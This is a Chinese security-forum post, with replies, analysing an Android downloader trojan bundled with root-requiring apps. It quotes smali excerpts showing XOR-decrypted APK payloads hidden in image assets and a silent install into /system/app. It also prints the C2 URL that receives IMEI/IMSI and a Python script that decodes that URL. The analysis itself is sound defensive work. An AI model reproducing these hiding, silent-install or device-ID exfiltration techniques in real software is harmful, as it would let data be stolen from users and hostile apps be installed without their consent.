首页
论坛
课程
招聘
[原创]Android下载者分析
2012-5-25 22:59 15303

[原创]Android下载者分析

2012-5-25 22:59
15303
一、  基本信息                                                                                               
样本大小:256139
样本md5:50836808a5fe7febb6ce8b2109d6c93a
样本sh256:ae7a20692250f85d7a2ed205994f2d26f2d695aef15a9356938454bccbbbd069

二、  简介
该样本是和需要root权限的合法软件打包在一起的,运行起来后会释放并加载两个包,当手机处于待机状态时,它会后台下载安装其他恶意的包

三、  样本分析
1、  AndroidManifest.xml分析
写文件权限:


很明显com.android.md5.Settings是病毒作者添加的服务用来启动恶意代码的:


2、  我们就从com.android.md5.Settings开始分析吧
看看其启动部分:


启动部分会调用Settings.1,Settings.1只有一个run函数,其会调用com.gamex.inset.A下面的函数 首先检查flag 判断sdcard是否已经挂载 是否有com.android.setting的包存在
如果已挂载 且没有com.android.setting的包存在 则设置flag为1 
启动com.gamex.inset.C


不幸的是com.gamex.inset.C的run函数反编译出错,不知道各位大侠有没有什么好方法,对于我来说只有去读它对应的smali


对于smali我只贴关键点:
读取assets\logos.png
const-string v11, "logos.png"

invoke-virtual {v10, v11}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;


异或0x12进行解密
    aget-byte v10, v1, v5

    xor-int/lit8 v10, v10, 0x12

    int-to-byte v10, v10

    aput-byte v10, v0, v5


调用方法com.gamex.inset.C.a 
将解密后的文件写到/system/app/ComAndroidSetting.apk
进行加载
invoke-static {v10}, Lcom/gamex/inset/C;->a(Ljava/lang/String;)V


下面主要分析其解密出来的包ComAndroidSetting.apk

1、  AndroidManifest.xml分析
权限


入口


2、样本分析


函数F和B 都是调用A.b A.b负责启动服务.Settings 就不截代码了

看看.Settings服务
调用启动Settings.1


看着代码应该很熟悉了吧,和前面释放包的代码是一样的

E的代码也反编译失败 直接读smali吧 贴下关键的
打开assets\icon.png进行解密解密方法是xor 0x12

    const-string v10, "icon.png"

    invoke-virtual {v9, v10}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
    aget-byte v9, v1, v4

    xor-int/lit8 v9, v9, 0x12

    int-to-byte v9, v9


调用函数a进行安装释放的包

    iget-object v9, p0, Lcom/android/setting/E;->p:Ljava/lang/String;

    invoke-virtual {p0, v9}, Lcom/android/setting/E;->a(Ljava/lang/String;)V


另外Settings的代码还会从assets\logo.png解密url 发送
发送IMEI,IMSI到
网址 + /inputex/index.php?s=/Interface/keinter/a1/[IMEI/a2/[IMSI/a3/[CMP_PID]





上面这个c函数明显代码逻辑有问题,应该是反编译的问题,要想解密其url直接去读其smali吧

Smali如下
.method public c(Ljava/lang/String;)Ljava/lang/String;
    .locals 7
    .parameter "d"

    .prologue
    .line 71
    invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B

    move-result-object v0

    .line 72
    .local v0, a:[B
    const/4 v2, 0x0

    .local v2, i:I
    :goto_0
    invoke-virtual {p1}, Ljava/lang/String;->length()I

    move-result v5

    div-int/lit8 v5, v5, 0x2

    if-lt v2, v5, :cond_0

    .line 77
    new-instance v5, Ljava/lang/String;

    invoke-direct {v5, v0}, Ljava/lang/String;-><init>([B)V

    const-string v6, ","

    invoke-virtual {v5, v6}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;

    move-result-object v3

    .line 78
    .local v3, s:[Ljava/lang/String;
    const-string v1, ""

    .line 79
    .local v1, dx:Ljava/lang/String;
    const/4 v2, 0x0

    :goto_1
    array-length v5, v3

    if-lt v2, v5, :cond_1

    .line 82
    return-object v1

    .line 73
    .end local v1           #dx:Ljava/lang/String;
    .end local v3           #s:[Ljava/lang/String;
    :cond_0
    aget-byte v4, v0, v2

    .line 74
    .local v4, t:B
    invoke-virtual {p1}, Ljava/lang/String;->length()I

    move-result v5

    add-int/lit8 v5, v5, -0x1

    sub-int/2addr v5, v2

    aget-byte v5, v0, v5

    aput-byte v5, v0, v2

    .line 75
    invoke-virtual {p1}, Ljava/lang/String;->length()I

    move-result v5

    add-int/lit8 v5, v5, -0x1

    sub-int/2addr v5, v2

    aput-byte v4, v0, v5

    .line 72
    add-int/lit8 v2, v2, 0x2

    goto :goto_0

    .line 80
    .end local v4           #t:B
    .restart local v1       #dx:Ljava/lang/String;
    .restart local v3       #s:[Ljava/lang/String;
    :cond_1
    new-instance v5, Ljava/lang/StringBuilder;

    invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v6

    invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    aget-object v6, v3, v2

    invoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result v6

    int-to-char v6, v6

    invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;

    move-result-object v5

    invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v1

    .line 79
    add-int/lit8 v2, v2, 0x2

    goto :goto_1
.end method


写个python解密下:
#encoding=utf-8
import string,sys,os
import struct
    
def get_url(data, hDstFile):
    PASS =[9,5,9,8,5]
    url = []
    for k in range(len(data)):
        m = data[k]
        len_pass = len(PASS)
        i1 = k % len_pass
        i2 = PASS[i1]
        i3 = (i2 ^ ord(m)) & 0xff
        url.append(chr(i3))
    v0 = url[:]
    v2 = 0
    while True:        
        v5 = len(url)
        v5 = v5 / 2
        if v2 >= v5:
            v3 = "".join(v0).split(",")
            v1 = ""
            v2 = 0
            while True:
                v5 = len(v3)
                if v2 >= v5:
                    print v1

        
                    hDstFile.write(v1)
                    return
                else:
                    v6 = v3[v2]
                    v6 = int(v6)
                    if v6 > 127:
                        tmp = v6
                        tmp = tmp % 128
                        tmp = chr(tmp)
                    v1 = v1 + chr(v6)
                    v2 = v2 + 2
        else:
            v4 = v0[v2]
            v5 = len(url)
            v5 = v5 - 1
            v5 = v5 - v2
            v5 = v0[v5]
            v0[v2] = v5
            v5 = len(url)
            v5 = v5 - 1
            v5 = v5 - v2
            v0[v5] = v4
            v2 = v2 + 2
            


if '__main__' == __name__:

    if len(sys.argv) != 2:
        print "usage: %prog logo.png"
        os.sys.exit(1)
    srcFile = os.sys.argv[1]
    hSrc = file(srcFile, "rb")
    data = hSrc.read()
    hSrc.close()
    dstFile = "%s.chr.v" % srcFile
    hDstFile = file(dstFile, "wb")
    get_url(data, hDstFile)
    hDstFile.close()
    print "decode to file: %s complete" % dstFile


最后解出来的网址为:
http://www.fineandroid.com/

释放的update.apk
1、  AndroidManifest.xml分析
权限


入口


2、  样本分析
入口.C .B 都是启动服务.Updater代码就不贴了
重点看看服务.Updater
除了线程D 其他的都很明显了,



看看D都干了什么,


D.1的反编译又有点问题,大致就是当屏幕处于SCREEN_OFF的时候,启动安装下载下来的软件,
当SCREEN_ON的时候,直接显示主屏幕来迷惑用户


与http://www.fineandroid.com/inputex/index.php?s=/Interface/neiinter/a1/[IMEI]/nam/交互:




附件密码:pediy

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (10)
雪    币: 2299
活跃值: 活跃值 (331)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
非虫 活跃值 7 2012-5-26 00:36
2
0
不太明白,是神奇的巧合还是其它原因...
雪    币: 885
活跃值: 活跃值 (34)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yuansunxue 活跃值 6 2012-5-28 11:32
3
0
什么意思?123456
雪    币: 210
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dragonzjl 活跃值 2012-5-30 18:28
4
0
好贴
雪    币: 204
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ToNS 活跃值 2012-9-7 16:21
5
0
将解密后的文件写到/system/app/ComAndroidSetting.apk
进行加载

他在加载时,会出现包管理器的权限提示吗?还是默默就安装了?
雪    币: 885
活跃值: 活跃值 (34)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
yuansunxue 活跃值 6 2013-1-8 20:00
6
0
不会 因为这个病毒是和需要root权限的合法软件捆绑在一起的
雪    币: 761
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
赤子Anatta 活跃值 2013-1-16 16:55
7
0
把网址还原的过程很模糊, 但是思路很精彩!  让我越来越想掌握python了!
我的工作也是分析安卓样本的病毒行为, 同时写分析报告, 不过每次在复杂一点的网址复原处卡壳, 每次都很残忍地忽略了这块... 现在看来,不能骗自己了!

很好的文章!
雪    币: 16
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lazywormm 活跃值 2013-3-13 17:46
8
0
thks for share. 没分析过andriod平台的,看起来应该是在ECLIPSE下面的源码啊。。JAVA语言应该是。。
雪    币: 370
活跃值: 活跃值 (16)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
荒野无灯 活跃值 5 2013-3-13 23:10
9
0
感谢分享。没有分析过android 平台下的病毒,学习了。
雪    币: 219
活跃值: 活跃值 (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jackzhous 活跃值 2018-6-2 23:07
10
0
有样本吗?能否共享
雪    币: 7
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zjxxhk 活跃值 2018-6-26 08:55
11
0
很厉害的样子
游客
登录 | 注册 方可回帖
返回